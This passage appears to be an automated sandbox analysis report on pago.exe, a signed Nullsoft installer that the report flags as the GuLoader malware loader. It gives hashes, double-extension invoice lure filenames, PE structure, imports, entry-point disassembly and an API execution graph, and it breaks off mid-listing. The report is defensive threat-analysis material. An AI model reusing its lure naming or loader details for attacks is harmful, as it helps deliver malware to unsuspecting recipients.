                                                                • Filename: proforma invoice pdf.exe, Detection: malicious, Browse
                                                                • Filename: REQUEST FOR OFFER 25-05-2022#U00b7pdf.exe, Detection: malicious, Browse
                                                                • Filename: proforma invoice pdf.exe, Detection: malicious, Browse
                                                                • Filename: SecuriteInfo.com.Artemis5578255A695D.24317.exe, Detection: malicious, Browse
                                                                • Filename: Payment_Advice.xlsx, Detection: malicious, Browse
                                                                • Filename: SecuriteInfo.com.Artemis5578255A695D.24317.exe, Detection: malicious, Browse
                                                                • Filename: louCCFrO4t.exe, Detection: malicious, Browse
                                                                • Filename: Gas bill for 5-25- 2022#U00b7pdf.exe, Detection: malicious, Browse
                                                                • Filename: louCCFrO4t.exe, Detection: malicious, Browse
                                                                • Filename: Gas bill for 5-25- 2022#U00b7pdf.exe, Detection: malicious, Browse
                                                                • Filename: KwP6qU3cQ8.exe, Detection: malicious, Browse
                                                                • Filename: KwP6qU3cQ8.exe, Detection: malicious, Browse
                                                                • Filename: 2gl1wtChCW.exe, Detection: malicious, Browse
                                                                • Filename: 2gl1wtChCW.exe, Detection: malicious, Browse
                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......qr*.5.D.5.D.5.D...J.2.D.5.E.!.D.....2.D.a0t.1.D.V1n.4.D..3@.4.D.Rich5.D.........PE..L.....Oa...........!....."...........*.......@...............................p............@..........................B.......@..P............................`.......................................................@..X............................text.... .......".................. ..`.rdata..c....@.......&..............@..@.data...x....P.......*..............@....reloc.......`.......,..............@..B................................................................................................................................................................................................................................................................................................................................................................................................
                                                                Process:C:\Users\user\Desktop\pago.exe
                                                                File Type:SVG Scalable Vector Graphics image
                                                                Category:dropped
                                                                Size (bytes):774
                                                                Entropy (8bit):4.396237619919732
                                                                Encrypted:false
                                                                SSDEEP:24:2dPnnxu3nC7ZFftJhrV5VCpCCm2csZXyn1ekBhnrwdlj:cfnGC777LGx3U15rwb
                                                                MD5:068B4AD014326E7A847F2F7BBCC1CE3A
                                                                SHA1:7AAA833DBDA8BFBB882FA6545A9488E3A1D50943
                                                                SHA-256:D44417A453C6EB038275C3A44A9523E0B2D6EF6297B89E1DE20FF87BA59A351C
                                                                SHA-512:EDBDD70019CCB3E0CCB9599EC3479FF8166F9E121739D86BE06E10F52BA3DBC7FF4F81FA52558E725FD25D058A89B191FEE86B7FE61690D1CC1CBD246E329BBF
                                                                Malicious:false
                                                                Preview:<?xml version="1.0" encoding="UTF-8"?>.<svg height="16px" viewBox="0 0 16 16" width="16px" xmlns="http://www.w3.org/2000/svg">. <path d="m 2.003906 2 h 1 h 0.03125 c 0.253906 0.011719 0.507813 0.128906 0.6875 0.3125 l 4.28125 4.28125 l 4.3125 -4.28125 c 0.265625 -0.230469 0.445313 -0.304688 0.6875 -0.3125 h 1 v 1 c 0 0.285156 -0.035156 0.550781 -0.25 0.75 l -4.28125 4.28125 l 4.25 4.25 c 0.1875 0.1875 0.28125 0.453125 0.28125 0.71875 v 1 h -1 c -0.265625 0 -0.53125 -0.09375 -0.71875 -0.28125 l -4.28125 -4.28125 l -4.28125 4.28125 c -0.1875 0.1875 -0.453125 0.28125 -0.71875 0.28125 h -1 v -1 c 0 -0.265625 0.09375 -0.53125 0.28125 -0.71875 l 4.28125 -4.25 l -4.28125 -4.28125 c -0.210937 -0.195312 -0.304687 -0.46875 -0.28125 -0.75 z m 0 0" fill="#2e3436"/>.</svg>.
                                                                File type:PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
                                                                Entropy (8bit):7.043083620309494
                                                                TrID:
                                                                • Win32 Executable (generic) a (10002005/4) 99.96%
                                                                • Generic Win/DOS Executable (2004/3) 0.02%
                                                                • DOS Executable Generic (2002/1) 0.02%
                                                                • Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
                                                                File name:pago.exe
                                                                File size:271408
                                                                MD5:41db491c763c2aa61a8f4305591e3139
                                                                SHA1:20c45ae71feccf738620764f70154f0ac5b6ac59
                                                                SHA256:904211f6f92bb8e96d8a56077c3b95ed22c746ee17caf7fb769d786821521585
                                                                SHA512:4626fa0b838883da5960e341fcb7e23f8cdf1df106bf73ac1ca340d8580a15384ff0beaefd0cbfc841b6b73807ce614ef788e515b3c3f456841874496ed5f781
                                                                SSDEEP:6144:TbE/HUUZ2WM2HSOCDIqfmFE/xgCT3ZkANqLT:TbJ2y5DwS/xgkJkj
                                                                TLSH:9F44B041F3C0ECF6E46194B3E82ED3640A57EE59C0A68B1B22567A172CA33D31657EC7
                                                                File Content Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1...Pf..Pf..Pf.*_9..Pf..Pg.LPf.*_;..Pf..sV..Pf..V`..Pf.Rich.Pf.........................PE..L...Z.Oa.................j.........
                                                                Icon Hash:e4c2aeaebcb0f004
                                                                Entrypoint:0x40352d
                                                                Entrypoint Section:.text
                                                                Digitally signed:true
                                                                Imagebase:0x400000
                                                                Subsystem:windows gui
                                                                Image File Characteristics:LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED
                                                                DLL Characteristics:NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT
                                                                Time Stamp:0x614F9B5A [Sat Sep 25 21:57:46 2021 UTC]
                                                                TLS Callbacks:
                                                                CLR (.Net) Version:
                                                                OS Version Major:4
                                                                OS Version Minor:0
                                                                File Version Major:4
                                                                File Version Minor:0
                                                                Subsystem Version Major:4
                                                                Subsystem Version Minor:0
                                                                Import Hash:56a78d55f3f7af51443e58e0ce2fb5f6
                                                                Signature Valid:false
                                                                Signature Issuer:CN="Brugerinitialerne1 Naaet5 SHELFS ", O=Thorleks, L=Washington, S=District of Columbia, C=US
                                                                Signature Validation Error:A certificate chain processed, but terminated in a root certificate which is not trusted by the trust provider
                                                                Error Number:-2146762487
                                                                Not Before, Not After
                                                                • 5/23/2022 6:23:57 PM 5/23/2023 6:23:57 PM
                                                                Subject Chain
                                                                • CN="Brugerinitialerne1 Naaet5 SHELFS ", O=Thorleks, L=Washington, S=District of Columbia, C=US
                                                                Version:3
                                                                Thumbprint MD5:A18E59CB3B586070B1D452E15DBA379F
                                                                Thumbprint SHA-1:9676FFAA1E0AE9B83CDEB62AF1657A1C07483B3E
                                                                Thumbprint SHA-256:FA06C8621275BD31C7EA9C2886C8C7FA106B7635FE9F3ADC5EC24510DC441350
                                                                Serial:843A121514829DD0
                                                                Instruction
                                                                push ebp
                                                                mov ebp, esp
                                                                sub esp, 000003F4h
                                                                push ebx
                                                                push esi
                                                                push edi
                                                                push 00000020h
                                                                pop edi
                                                                xor ebx, ebx
                                                                push 00008001h
                                                                mov dword ptr [ebp-14h], ebx
                                                                mov dword ptr [ebp-04h], 0040A2E0h
                                                                mov dword ptr [ebp-10h], ebx
                                                                call dword ptr [004080CCh]
                                                                mov esi, dword ptr [004080D0h]
                                                                lea eax, dword ptr [ebp-00000140h]
                                                                push eax
                                                                mov dword ptr [ebp-0000012Ch], ebx
                                                                mov dword ptr [ebp-2Ch], ebx
                                                                mov dword ptr [ebp-28h], ebx
                                                                mov dword ptr [ebp-00000140h], 0000011Ch
                                                                call esi
                                                                test eax, eax
                                                                jne 00007F841C71088Ah
                                                                lea eax, dword ptr [ebp-00000140h]
                                                                mov dword ptr [ebp-00000140h], 00000114h
                                                                push eax
                                                                call esi
                                                                mov ax, word ptr [ebp-0000012Ch]
                                                                mov ecx, dword ptr [ebp-00000112h]
                                                                sub ax, 00000053h
                                                                add ecx, FFFFFFD0h
                                                                neg ax
                                                                sbb eax, eax
                                                                mov byte ptr [ebp-26h], 00000004h
                                                                not eax
                                                                and eax, ecx
                                                                mov word ptr [ebp-2Ch], ax
                                                                cmp dword ptr [ebp-0000013Ch], 0Ah
                                                                jnc 00007F841C71085Ah
                                                                and word ptr [ebp-00000132h], 0000h
                                                                mov eax, dword ptr [ebp-00000134h]
                                                                movzx ecx, byte ptr [ebp-00000138h]
                                                                mov dword ptr [00434FB8h], eax
                                                                xor eax, eax
                                                                mov ah, byte ptr [ebp-0000013Ch]
                                                                movzx eax, ax
                                                                or eax, ecx
                                                                xor ecx, ecx
                                                                mov ch, byte ptr [ebp-2Ch]
                                                                movzx ecx, cx
                                                                shl eax, 10h
                                                                or eax, ecx
                                                                Programming Language:
                                                                • [EXP] VC++ 6.0 SP5 build 8804
                                                                NameVirtual AddressVirtual Size Is in Section
                                                                IMAGE_DIRECTORY_ENTRY_EXPORT0x00x0
                                                                IMAGE_DIRECTORY_ENTRY_IMPORT0x86100xa0.rdata
                                                                IMAGE_DIRECTORY_ENTRY_RESOURCE0x6c0000x19100.rsrc
                                                                IMAGE_DIRECTORY_ENTRY_EXCEPTION0x00x0
                                                                IMAGE_DIRECTORY_ENTRY_SECURITY0x405700x1ec0.ndata
                                                                IMAGE_DIRECTORY_ENTRY_BASERELOC0x00x0
                                                                IMAGE_DIRECTORY_ENTRY_DEBUG0x00x0
                                                                IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
                                                                IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
                                                                IMAGE_DIRECTORY_ENTRY_TLS0x00x0
                                                                IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0x00x0
                                                                IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x00x0
                                                                IMAGE_DIRECTORY_ENTRY_IAT0x80000x2b0.rdata
                                                                IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0x00x0
                                                                IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x00x0
                                                                IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0
                                                                NameVirtual AddressVirtual SizeRaw SizeXored PEZLIB ComplexityFile TypeEntropyCharacteristics
                                                                .text0x10000x68970x6a00False0.666126179245data6.45839821493IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
                                                                .rdata0x80000x14a60x1600False0.439275568182data5.02410928126IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                                .data0xa0000x2b0180x600False0.521484375data4.15458210409IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
                                                                .ndata0x360000x360000x0False0empty0.0IMAGE_SCN_MEM_WRITE, IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                                .rsrc0x6c0000x191000x19200False0.288858442164data4.88265504154IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                                NameRVASizeTypeLanguageCountry
                                                                RT_ICON0x6c2c80x10828dBase IV DBT, blocks size 0, block length 2048, next free block index 40, next free block 16777216, next used block 16777216EnglishUnited States
                                                                RT_ICON0x7caf00x4228dBase IV DBT of \200.DBF, blocks size 0, block length 16896, next free block index 40, next free block 0, next used block 0EnglishUnited States
                                                                RT_ICON0x80d180x25a8dataEnglishUnited States
                                                                RT_ICON0x832c00x10a8dataEnglishUnited States
                                                                RT_ICON0x843680x468GLS_BINARY_LSB_FIRSTEnglishUnited States
                                                                RT_DIALOG0x847d00x100dataEnglishUnited States
                                                                RT_DIALOG0x848d00x11cdataEnglishUnited States
                                                                RT_DIALOG0x849f00xc4dataEnglishUnited States
                                                                RT_DIALOG0x84ab80x60dataEnglishUnited States
                                                                RT_GROUP_ICON0x84b180x4cdataEnglishUnited States
                                                                RT_VERSION0x84b680x254dataEnglishUnited States
                                                                RT_MANIFEST0x84dc00x33eXML 1.0 document, ASCII text, with very long lines, with no line terminatorsEnglishUnited States
                                                                DLLImport
                                                                ADVAPI32.dllRegCreateKeyExW, RegEnumKeyW, RegQueryValueExW, RegSetValueExW, RegCloseKey, RegDeleteValueW, RegDeleteKeyW, AdjustTokenPrivileges, LookupPrivilegeValueW, OpenProcessToken, SetFileSecurityW, RegOpenKeyExW, RegEnumValueW
                                                                SHELL32.dllSHGetSpecialFolderLocation, SHFileOperationW, SHBrowseForFolderW, SHGetPathFromIDListW, ShellExecuteExW, SHGetFileInfoW
                                                                ole32.dllOleInitialize, OleUninitialize, CoCreateInstance, IIDFromString, CoTaskMemFree
                                                                COMCTL32.dllImageList_Create, ImageList_Destroy, ImageList_AddMasked
                                                                USER32.dllGetClientRect, EndPaint, DrawTextW, IsWindowEnabled, DispatchMessageW, wsprintfA, CharNextA, CharPrevW, MessageBoxIndirectW, GetDlgItemTextW, SetDlgItemTextW, GetSystemMetrics, FillRect, AppendMenuW, TrackPopupMenu, OpenClipboard, SetClipboardData, CloseClipboard, IsWindowVisible, CallWindowProcW, GetMessagePos, CheckDlgButton, LoadCursorW, SetCursor, GetSysColor, SetWindowPos, GetWindowLongW, PeekMessageW, SetClassLongW, GetSystemMenu, EnableMenuItem, GetWindowRect, ScreenToClient, EndDialog, RegisterClassW, SystemParametersInfoW, CreateWindowExW, GetClassInfoW, DialogBoxParamW, CharNextW, ExitWindowsEx, DestroyWindow, CreateDialogParamW, SetTimer, SetWindowTextW, PostQuitMessage, SetForegroundWindow, ShowWindow, wsprintfW, SendMessageTimeoutW, FindWindowExW, IsWindow, GetDlgItem, SetWindowLongW, LoadImageW, GetDC, ReleaseDC, EnableWindow, InvalidateRect, SendMessageW, DefWindowProcW, BeginPaint, EmptyClipboard, CreatePopupMenu
                                                                GDI32.dllSetBkMode, SetBkColor, GetDeviceCaps, CreateFontIndirectW, CreateBrushIndirect, DeleteObject, SetTextColor, SelectObject
                                                                KERNEL32.dllGetExitCodeProcess, WaitForSingleObject, GetModuleHandleA, GetProcAddress, GetSystemDirectoryW, lstrcatW, Sleep, lstrcpyA, WriteFile, GetTempFileNameW, CreateFileW, lstrcmpiA, RemoveDirectoryW, CreateProcessW, CreateDirectoryW, GetLastError, CreateThread, GlobalLock, GlobalUnlock, GetDiskFreeSpaceW, WideCharToMultiByte, lstrcpynW, lstrlenW, SetErrorMode, GetVersionExW, GetCommandLineW, GetTempPathW, GetWindowsDirectoryW, SetEnvironmentVariableW, CopyFileW, ExitProcess, GetCurrentProcess, GetModuleFileNameW, GetFileSize, GetTickCount, MulDiv, SetFileAttributesW, GetFileAttributesW, SetCurrentDirectoryW, MoveFileW, GetFullPathNameW, GetShortPathNameW, SearchPathW, CompareFileTime, SetFileTime, CloseHandle, lstrcmpiW, lstrcmpW, ExpandEnvironmentStringsW, GlobalFree, GlobalAlloc, GetModuleHandleW, LoadLibraryExW, MoveFileExW, FreeLibrary, WritePrivateProfileStringW, GetPrivateProfileStringW, lstrlenA, MultiByteToWideChar, ReadFile, SetFilePointer, FindClose, FindNextFileW, FindFirstFileW, DeleteFileW
                                                                DescriptionData
                                                                LegalCopyrightmoletsgavn
                                                                FileVersion7.22.20
                                                                CompanyNamewimpinessgri
                                                                LegalTrademarksGear255
                                                                CommentsDraabet
                                                                ProductNameAfspnd
                                                                FileDescriptionUKONVENTIO
                                                                Translation0x0409 0x04b0
                                                                Language of compilation systemCountry where language is spokenMap
                                                                EnglishUnited States
                                                                No network behavior found

                                                                Click to jump to process

                                                                Click to jump to process

                                                                Click to dive into process behavior distribution

                                                                Target ID:0
                                                                Start time:16:47:17
                                                                Start date:25/05/2022
                                                                Path:C:\Users\user\Desktop\pago.exe
                                                                Wow64 process (32bit):true
                                                                Commandline:"C:\Users\user\Desktop\pago.exe"
                                                                Imagebase:0x400000
                                                                File size:271408 bytes
                                                                MD5 hash:41DB491C763C2AA61A8F4305591E3139
                                                                Has elevated privileges:true
                                                                Has administrator privileges:true
                                                                Programmed in:C, C++ or other language
                                                                Yara matches:
                                                                • Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000000.00000002.905489212.0000000002940000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
                                                                Reputation:low

                                                                Reset < >

                                                                  Execution Graph

                                                                  Execution Coverage:21.2%
                                                                  Dynamic/Decrypted Code Coverage:0%
                                                                  Signature Coverage:16.2%
                                                                  Total number of Nodes:1566
                                                                  Total number of Limit Nodes:40
                                                                  execution_graph 3938 4015c1 3957 402da6 3938->3957 3942 401631 3944 401663 3942->3944 3945 401636 3942->3945 3948 401423 24 API calls 3944->3948 3981 401423 3945->3981 3951 40165b 3948->3951 3953 40164a SetCurrentDirectoryW 3953->3951 3954 4015d1 3954->3942 3955 401617 GetFileAttributesW 3954->3955 3969 405e39 3954->3969 3973 405b08 3954->3973 3976 405a6e CreateDirectoryW 3954->3976 3985 405aeb CreateDirectoryW 3954->3985 3955->3954 3958 402db2 3957->3958 3988 40657a 3958->3988 3961 4015c8 3963 405eb7 CharNextW CharNextW 3961->3963 3964 405ed4 3963->3964 3965 405ee6 3963->3965 3964->3965 3966 405ee1 CharNextW 3964->3966 3967 405f0a 3965->3967 3968 405e39 CharNextW 3965->3968 3966->3967 3967->3954 3968->3965 3970 405e3f 3969->3970 3971 405e55 3970->3971 3972 405e46 CharNextW 3970->3972 3971->3954 3972->3970 4026 40690a GetModuleHandleA 3973->4026 3977 405abb 3976->3977 3978 405abf GetLastError 3976->3978 3977->3954 3978->3977 3979 405ace SetFileSecurityW 3978->3979 3979->3977 3980 405ae4 GetLastError 3979->3980 3980->3977 4035 40559f 3981->4035 3984 40653d lstrcpynW 3984->3953 3986 405afb 3985->3986 3987 405aff GetLastError 3985->3987 3986->3954 3987->3986 3989 406587 3988->3989 3990 4067aa 3989->3990 3993 406778 lstrlenW 3989->3993 3997 40657a 10 API calls 3989->3997 3998 40668f GetSystemDirectoryW 3989->3998 3999 4066a2 GetWindowsDirectoryW 3989->3999 4000 4066d1 SHGetSpecialFolderLocation 3989->4000 4001 406719 lstrcatW 3989->4001 4002 40657a 10 API calls 3989->4002 4003 4067c4 5 API calls 3989->4003 4014 40640b 3989->4014 4019 406484 wsprintfW 3989->4019 4020 40653d lstrcpynW 3989->4020 3991 402dd3 3990->3991 4021 40653d lstrcpynW 3990->4021 3991->3961 4005 4067c4 3991->4005 3993->3989 3997->3993 3998->3989 3999->3989 4000->3989 4004 4066e9 SHGetPathFromIDListW CoTaskMemFree 4000->4004 4001->3989 4002->3989 4003->3989 4004->3989 4011 4067d1 4005->4011 4006 406847 4007 40684c CharPrevW 4006->4007 4010 40686d 4006->4010 4007->4006 4008 40683a CharNextW 4008->4006 4008->4011 4009 405e39 CharNextW 4009->4011 4010->3961 4011->4006 4011->4008 4011->4009 4012 406826 CharNextW 4011->4012 4013 406835 CharNextW 4011->4013 4012->4011 4013->4008 4022 4063aa 4014->4022 4017 40646f 4017->3989 4018 40643f RegQueryValueExW RegCloseKey 4018->4017 4019->3989 4020->3989 4021->3991 4023 4063b9 4022->4023 4024 4063c2 RegOpenKeyExW 4023->4024 4025 4063bd 4023->4025 4024->4025 4025->4017 4025->4018 4027 406930 GetProcAddress 4026->4027 4028 406926 4026->4028 4030 405b0f 4027->4030 4032 40689a GetSystemDirectoryW 4028->4032 4030->3954 4031 40692c 4031->4027 4031->4030 4033 4068bc wsprintfW LoadLibraryExW 4032->4033 4033->4031 4036 4055ba 4035->4036 4045 401431 4035->4045 4037 4055d6 lstrlenW 4036->4037 4040 40657a 17 API calls 4036->4040 4038 4055e4 lstrlenW 4037->4038 4039 4055ff 4037->4039 4041 4055f6 lstrcatW 4038->4041 4038->4045 4042 405612 4039->4042 4043 405605 SetWindowTextW 4039->4043 4040->4037 4041->4039 4044 405618 SendMessageW SendMessageW SendMessageW 4042->4044 4042->4045 4043->4042 4044->4045 4045->3984 4046 401941 4047 401943 4046->4047 4048 402da6 17 API calls 4047->4048 4049 401948 4048->4049 4052 405c49 4049->4052 4092 405f14 4052->4092 4055 405c71 DeleteFileW 4057 401951 4055->4057 4056 405c88 4058 405db3 4056->4058 4106 40653d lstrcpynW 4056->4106 4058->4057 4124 406873 FindFirstFileW 4058->4124 4060 405cae 4061 405cc1 4060->4061 4062 405cb4 lstrcatW 4060->4062 4107 405e58 lstrlenW 4061->4107 4064 405cc7 4062->4064 4067 405cd7 lstrcatW 4064->4067 4068 405ccd 4064->4068 4069 405ce2 lstrlenW FindFirstFileW 4067->4069 4068->4067 4068->4069 4071 405da8 4069->4071 4090 405d04 4069->4090 4070 405dd1 4127 405e0c lstrlenW CharPrevW 4070->4127 4071->4058 4074 405d8b FindNextFileW 4078 405da1 FindClose 4074->4078 4074->4090 4075 405c01 5 API calls 4077 405de3 4075->4077 4079 405de7 4077->4079 4080 405dfd 4077->4080 4078->4071 4079->4057 4083 40559f 24 API calls 4079->4083 4082 40559f 24 API calls 4080->4082 4082->4057 4085 405df4 4083->4085 4084 405c49 60 API calls 4084->4090 4087 4062fd 36 API calls 4085->4087 4086 40559f 24 API calls 4086->4074 4089 405dfb 4087->4089 4088 40559f 24 API calls 4088->4090 4089->4057 4090->4074 4090->4084 4090->4086 4090->4088 4111 40653d lstrcpynW 4090->4111 4112 405c01 4090->4112 4120 4062fd MoveFileExW 4090->4120 4130 40653d lstrcpynW 4092->4130 4094 405f25 4095 405eb7 4 API calls 4094->4095 4096 405f2b 4095->4096 4097 405c69 4096->4097 4098 4067c4 5 API calls 4096->4098 4097->4055 4097->4056 4101 405f3b 4098->4101 4099 405f6c lstrlenW 4100 405f77 4099->4100 4099->4101 4102 405e0c 3 API calls 4100->4102 4101->4097 4101->4099 4103 406873 2 API calls 4101->4103 4105 405e58 2 API calls 4101->4105 4104 405f7c GetFileAttributesW 4102->4104 4103->4101 4104->4097 4105->4099 4106->4060 4108 405e66 4107->4108 4109 405e78 4108->4109 4110 405e6c CharPrevW 4108->4110 4109->4064 4110->4108 4110->4109 4111->4090 4131 406008 GetFileAttributesW 4112->4131 4115 405c2e 4115->4090 4116 405c24 DeleteFileW 4118 405c2a 4116->4118 4117 405c1c RemoveDirectoryW 4117->4118 4118->4115 4119 405c3a SetFileAttributesW 4118->4119 4119->4115 4121 406311 4120->4121 4123 40631e 4120->4123 4134 406183 4121->4134 4123->4090 4125 406889 FindClose 4124->4125 4126 405dcd 4124->4126 4125->4126 4126->4057 4126->4070 4128 405dd7 4127->4128 4129 405e28 lstrcatW 4127->4129 4128->4075 4129->4128 4130->4094 4132 405c0d 4131->4132 4133 40601a SetFileAttributesW 4131->4133 4132->4115 4132->4116 4132->4117 4133->4132 4135 4061b3 4134->4135 4136 4061d9 GetShortPathNameW 4134->4136 4161 40602d GetFileAttributesW CreateFileW 4135->4161 4138 4062f8 4136->4138 4139 4061ee 4136->4139 4138->4123 4139->4138 4141 4061f6 wsprintfA 4139->4141 4140 4061bd CloseHandle GetShortPathNameW 4140->4138 4142 4061d1 4140->4142 4143 40657a 17 API calls 4141->4143 4142->4136 4142->4138 4144 40621e 4143->4144 4162 40602d GetFileAttributesW CreateFileW 4144->4162 4146 40622b 4146->4138 4147 40623a GetFileSize GlobalAlloc 4146->4147 4148 4062f1 CloseHandle 4147->4148 4149 40625c 4147->4149 4148->4138 4163 4060b0 ReadFile 4149->4163 4154 40627b lstrcpyA 4157 40629d 4154->4157 4155 40628f 4156 405f92 4 API calls 4155->4156 4156->4157 4158 4062d4 SetFilePointer 4157->4158 4170 4060df WriteFile 4158->4170 4161->4140 4162->4146 4164 4060ce 4163->4164 4164->4148 4165 405f92 lstrlenA 4164->4165 4166 405fd3 lstrlenA 4165->4166 4167 405fac lstrcmpiA 4166->4167 4169 405fdb 4166->4169 4168 405fca CharNextA 4167->4168 4167->4169 4168->4166 4169->4154 4169->4155 4171 4060fd GlobalFree 4170->4171 4171->4148 5043 401c43 5044 402d84 17 API calls 5043->5044 5045 401c4a 5044->5045 5046 402d84 17 API calls 5045->5046 5047 401c57 5046->5047 5048 401c6c 5047->5048 5049 402da6 17 API calls 5047->5049 5050 401c7c 5048->5050 5051 402da6 17 API calls 5048->5051 5049->5048 5052 401cd3 5050->5052 5053 401c87 5050->5053 5051->5050 5054 402da6 17 API calls 5052->5054 5055 402d84 17 API calls 5053->5055 5056 401cd8 5054->5056 5057 401c8c 5055->5057 5058 402da6 17 API calls 5056->5058 5059 402d84 17 API calls 5057->5059 5061 401ce1 FindWindowExW 5058->5061 5060 401c98 5059->5060 5062 401cc3 SendMessageW 5060->5062 5063 401ca5 SendMessageTimeoutW 5060->5063 5064 401d03 5061->5064 5062->5064 5063->5064 5065 404943 5066 404953 5065->5066 5067 404979 5065->5067 5068 404499 18 API calls 5066->5068 5069 404500 8 API calls 5067->5069 5071 404960 SetDlgItemTextW 5068->5071 5070 404985 5069->5070 5071->5067 5072 4028c4 5073 4028ca 5072->5073 5074 4028d2 FindClose 5073->5074 5075 402c2a 5073->5075 5074->5075 5079 4016cc 5080 402da6 17 API calls 5079->5080 5081 4016d2 GetFullPathNameW 5080->5081 5084 4016ec 5081->5084 5088 40170e 5081->5088 5082 401723 GetShortPathNameW 5083 402c2a 5082->5083 5085 406873 2 API calls 5084->5085 5084->5088 5086 4016fe 5085->5086 5086->5088 5089 40653d lstrcpynW 5086->5089 5088->5082 5088->5083 5089->5088 5090 401e4e GetDC 5091 402d84 17 API calls 5090->5091 5092 401e60 GetDeviceCaps MulDiv ReleaseDC 5091->5092 5093 402d84 17 API calls 5092->5093 5094 401e91 5093->5094 5095 40657a 17 API calls 5094->5095 5096 401ece CreateFontIndirectW 5095->5096 5097 402638 5096->5097 5098 4045cf lstrcpynW lstrlenW 5099 732d103d 5102 732d101b 5099->5102 5109 732d15b6 5102->5109 5104 732d1020 5105 732d1024 5104->5105 5106 732d1027 GlobalAlloc 5104->5106 5107 732d15dd 3 API calls 5105->5107 5106->5105 5108 732d103b 5107->5108 5111 732d15bc 5109->5111 5110 732d15c2 5110->5104 5111->5110 5112 732d15ce GlobalFree 5111->5112 5112->5104 5113 402950 5114 402da6 17 API calls 5113->5114 5116 40295c 5114->5116 5115 402972 5118 406008 2 API calls 5115->5118 5116->5115 5117 402da6 17 API calls 5116->5117 5117->5115 5119 402978 5118->5119 5141 40602d GetFileAttributesW CreateFileW 5119->5141 5121 402985 5122 402a3b 5121->5122 5125 4029a0 GlobalAlloc 5121->5125 5126 402a23 5121->5126 5123 402a42 DeleteFileW 5122->5123 5124 402a55 5122->5124 5123->5124 5125->5126 5127 4029b9 5125->5127 5128 4032b4 31 API calls 5126->5128 5142 4034e5 SetFilePointer 5127->5142 5129 402a30 CloseHandle 5128->5129 5129->5122 5131 4029bf 5132 4034cf ReadFile 5131->5132 5133 4029c8 GlobalAlloc 5132->5133 5134 4029d8 5133->5134 5135 402a0c 5133->5135 5136 4032b4 31 API calls 5134->5136 5137 4060df WriteFile 5135->5137 5140 4029e5 5136->5140 5138 402a18 GlobalFree 5137->5138 5138->5126 5139 402a03 GlobalFree 5139->5135 5140->5139 5141->5121 5142->5131 5143 401956 5144 402da6 17 API calls 5143->5144 5145 40195d lstrlenW 5144->5145 5146 402638 5145->5146 4654 4014d7 4655 402d84 17 API calls 4654->4655 4656 4014dd Sleep 4655->4656 4658 402c2a 4656->4658 4659 4020d8 4660 40219c 4659->4660 4661 4020ea 4659->4661 4664 401423 24 API calls 4660->4664 4662 402da6 17 API calls 4661->4662 4663 4020f1 4662->4663 4665 402da6 17 API calls 4663->4665 4670 4022f6 4664->4670 4666 4020fa 4665->4666 4667 402110 LoadLibraryExW 4666->4667 4668 402102 GetModuleHandleW 4666->4668 4667->4660 4669 402121 4667->4669 4668->4667 4668->4669 4682 406979 4669->4682 4673 402132 4675 402151 4673->4675 4676 40213a 4673->4676 4674 40216b 4677 40559f 24 API calls 4674->4677 4687 732d1817 4675->4687 4679 401423 24 API calls 4676->4679 4678 402142 4677->4678 4678->4670 4680 40218e FreeLibrary 4678->4680 4679->4678 4680->4670 4729 40655f WideCharToMultiByte 4682->4729 4684 406996 4685 40699d GetProcAddress 4684->4685 4686 40212c 4684->4686 4685->4686 4686->4673 4686->4674 4688 732d184a 4687->4688 4730 732d1bff 4688->4730 4690 732d1851 4691 732d1976 4690->4691 4692 732d1869 4690->4692 4693 732d1862 4690->4693 4691->4678 4760 732d2480 4692->4760 4774 732d243e 4693->4774 4698 732d18cd 4702 732d191e 4698->4702 4703 732d18d3 4698->4703 4699 732d18af 4787 732d2655 4699->4787 4700 732d187f 4705 732d1885 4700->4705 4710 732d1890 4700->4710 4701 732d1898 4712 732d188e 4701->4712 4784 732d2e23 4701->4784 4708 732d2655 10 API calls 4702->4708 4806 732d1666 4703->4806 4705->4712 4770 732d2b98 4705->4770 4715 732d190f 4708->4715 4709 732d18b5 4798 732d1654 4709->4798 4778 732d2810 4710->4778 4712->4698 4712->4699 4720 732d1965 4715->4720 4812 732d2618 4715->4812 4717 732d1896 4717->4712 4718 732d2655 10 API calls 4718->4715 4720->4691 4723 732d196f GlobalFree 4720->4723 4723->4691 4726 732d1951 4726->4720 4816 732d15dd wsprintfW 4726->4816 4727 732d194a FreeLibrary 4727->4726 4729->4684 4819 732d12bb GlobalAlloc 4730->4819 4732 732d1c26 4820 732d12bb GlobalAlloc 4732->4820 4734 732d1e6b GlobalFree GlobalFree GlobalFree 4735 732d1e88 4734->4735 4748 732d1ed2 4734->4748 4736 732d227e 4735->4736 4744 732d1e9d 4735->4744 4735->4748 4738 732d22a0 GetModuleHandleW 4736->4738 4736->4748 4737 732d1d26 GlobalAlloc 4754 732d1c31 4737->4754 4741 732d22c6 4738->4741 4742 732d22b1 LoadLibraryW 4738->4742 4739 732d1d71 lstrcpyW 4743 732d1d7b lstrcpyW 4739->4743 4740 732d1d8f GlobalFree 4740->4754 4827 732d16bd WideCharToMultiByte GlobalAlloc WideCharToMultiByte 4741->4827 4742->4741 4742->4748 4743->4754 4744->4748 4823 732d12cc 4744->4823 4746 732d22d8 4746->4748 4750 732d2325 lstrlenW 4746->4750 4747 732d2126 4826 732d12bb 